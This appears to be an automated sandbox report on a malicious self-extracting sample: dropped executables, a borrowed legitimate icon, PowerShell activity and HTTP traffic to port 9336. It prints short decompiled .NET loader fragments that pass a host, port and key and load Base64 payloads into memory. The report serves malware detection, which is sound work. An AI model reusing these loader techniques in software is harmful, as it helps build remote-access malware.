Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe

File opened: C:\Windows\SysWOW64\riched32.dll

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\16.0\Access\Capabilities\UrlAssociations

Jump to behavior

Source: Ekpb7jn7mf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: calc.pdbGCTL source: rKPaQokQ.exe, 00000001.00000000.1665460578.00007FF630CE2000.00000002.00000001.01000000.00000007.sdmp, rKPaQokQ.exe, 00000001.00000002.1691517630.00007FF630CE2000.00000002.00000001.01000000.00000007.sdmp, rKPaQokQ.exe.0.dr
Source:	Binary string: calc.pdb source: rKPaQokQ.exe, 00000001.00000000.1665460578.00007FF630CE2000.00000002.00000001.01000000.00000007.sdmp, rKPaQokQ.exe, 00000001.00000002.1691517630.00007FF630CE2000.00000002.00000001.01000000.00000007.sdmp, rKPaQokQ.exe.0.dr
Source:	Binary string: d:\Projects\WinRAR\SFX\build\sfxrar32\Release\sfxrar.pdb source: Ekpb7jn7mf.exe

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: YsrQekGS.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: YsrQekGS.exe.0.dr, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)

.NET source code contains potential unpacker

Source: YsrQekGS.exe.0.dr, Messages.cs	.Net Code: Plugin System.AppDomain.Load(byte[])
Source: YsrQekGS.exe.0.dr, Messages.cs	.Net Code: Memory System.AppDomain.Load(byte[])
Source: YsrQekGS.exe.0.dr, Messages.cs	.Net Code: Memory

Source: rKPaQokQ.exe.0.dr

Static PE information: 0x8F598A9E [Sun Mar 18 18:21:18 2046 UTC]

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe

Code function: 0_2_004254C5 LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

0_2_004254C5

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe

File created: C:\Users\user\AppData\Local\Temp\__tmp_rar_sfx_access_check_6674281

Jump to behavior

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0041F891 push ecx; ret	0_2_0041F8A4
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Code function: 0_2_0041A250 push eax; ret	0_2_0041A26E
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Code function: 4_2_00007FFD9B2727F2 pushad ; ret	4_2_00007FFD9B2727F9
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Code function: 4_2_00007FFD9B272ACD push ecx; retf	4_2_00007FFD9B272AE6
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Code function: 4_2_00007FFD9B279E0D push ebx; ret	4_2_00007FFD9B279E6A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFD9B18D2A5 pushad ; iretd	10_2_00007FFD9B18D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 10_2_00007FFD9B372316 push 8B485F92h; iretd	10_2_00007FFD9B37231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD9B19D2A5 pushad ; iretd	13_2_00007FFD9B19D2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD9B2B23CD pushad ; retf	13_2_00007FFD9B2B23F1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD9B2BC2C5 push ebx; iretd	13_2_00007FFD9B2BC2DA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD9B382316 push 8B485F91h; iretd	13_2_00007FFD9B38231B

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	File created: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	File created: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	File created: C:\Users\user\AppData\Local\Temp\rKPaQokQ.exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: download (31).png

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 9336
Source: unknown	Network traffic detected: HTTP traffic on port 9336 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 9336 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 9336
Source: unknown	Network traffic detected: HTTP traffic on port 9336 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 9336 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 9336
Source: unknown	Network traffic detected: HTTP traffic on port 9336 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 9336
Source: unknown	Network traffic detected: HTTP traffic on port 9336 -> 49738

Source: C:\Users\user\Desktop\Ekpb7jn7mf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\wjoqZlIS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YsrQekGS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\WindowsApps\Microsoft.WindowsCalculator_10.1906.55.0_x64__8wekyb3d8bbwe\Calculator.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
